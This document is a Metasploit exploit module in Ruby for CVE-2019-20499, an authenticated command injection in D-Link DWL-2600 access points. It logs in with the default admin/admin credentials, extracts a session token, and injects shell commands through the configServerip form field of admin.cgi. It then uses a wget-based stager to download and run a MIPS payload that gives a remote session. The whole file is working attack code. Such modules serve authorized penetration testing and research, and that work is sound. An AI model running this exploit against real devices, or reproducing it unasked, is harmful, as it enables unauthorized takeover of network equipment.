## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'DLINK DWL-2600 Authenticated Remote Command Injection', 'Description' => %q{ Some DLINK Access Points are vulnerable to an authenticated OS command injection. Default credentials for the web interface are admin/admin. }, 'Author' => [ 'RAKI BEN HAMOUDA', # Vulnerability discovery and original research 'Nick Starke' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-20499' ], [ 'EDB', '46841' ] ], 'DisclosureDate' => '2019-05-15', 'Privileged' => true, 'Platform' => %w[linux unix], 'Payload' => { 'DisableNops' => true, 'BadChars' => "\x00" }, 'CmdStagerFlavor' => :wget, 'Targets' => [ [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mips Payload', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]), OptString.new('TARGETURI', [ true, 'Base path to the Dlink web interface', '/' ]) ] ) end def execute_command(cmd, _opts = {}) bogus = Rex::Text.rand_text_alpha(rand(10)) post_data = Rex::MIME::Message.new post_data.add_part('up', nil, nil, 'form-data; name="optprotocol"') post_data.add_part(bogus, nil, nil, 'form-data; name="configRestore"') post_data.add_part("; #{cmd} ;", nil, nil, 'form-data; name="configServerip"') print_status("Sending CGI payload using token: #{@token}") # Note token is an instance variable now res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin.cgi'), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => "sessionHTTP=#{@token};", 'data' => post_data.to_s, 'query' => 'action=config_restore' }) unless res || res.code != 200 fail_with(Failure::UnexpectedReply, "Command wasn't executed, aborting!") end rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return end def exploit user = datastore['HttpUsername'] pass = datastore['HttpPassword'] rhost = datastore['RHOST'] rport = datastore['RPORT'] print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/admin.cgi'), 'method' => 'POST', 'vars_post' => { 'i_username' => user, 'i_password' => pass, 'login' => 'Logon' } }) unless res && res.code != 404 fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end unless [200, 301, 302].include?(res.code) fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") delstart = 'var cookieValue = "' tokenoffset = res.body.index(delstart) + delstart.size endoffset = res.body.index('";', tokenoffset) @token = res.body[tokenoffset, endoffset - tokenoffset] if @token.empty? fail_with(Failure::NoAccess, "#{peer} - No Auth token received") end print_good("#{peer} - Received Auth token: #{@token}") if target.name =~ /CMD/ unless datastore['CMD'] fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end execute_command(payload.encoded) else execute_cmdstager(linemax: 100, noconcat: true) end end end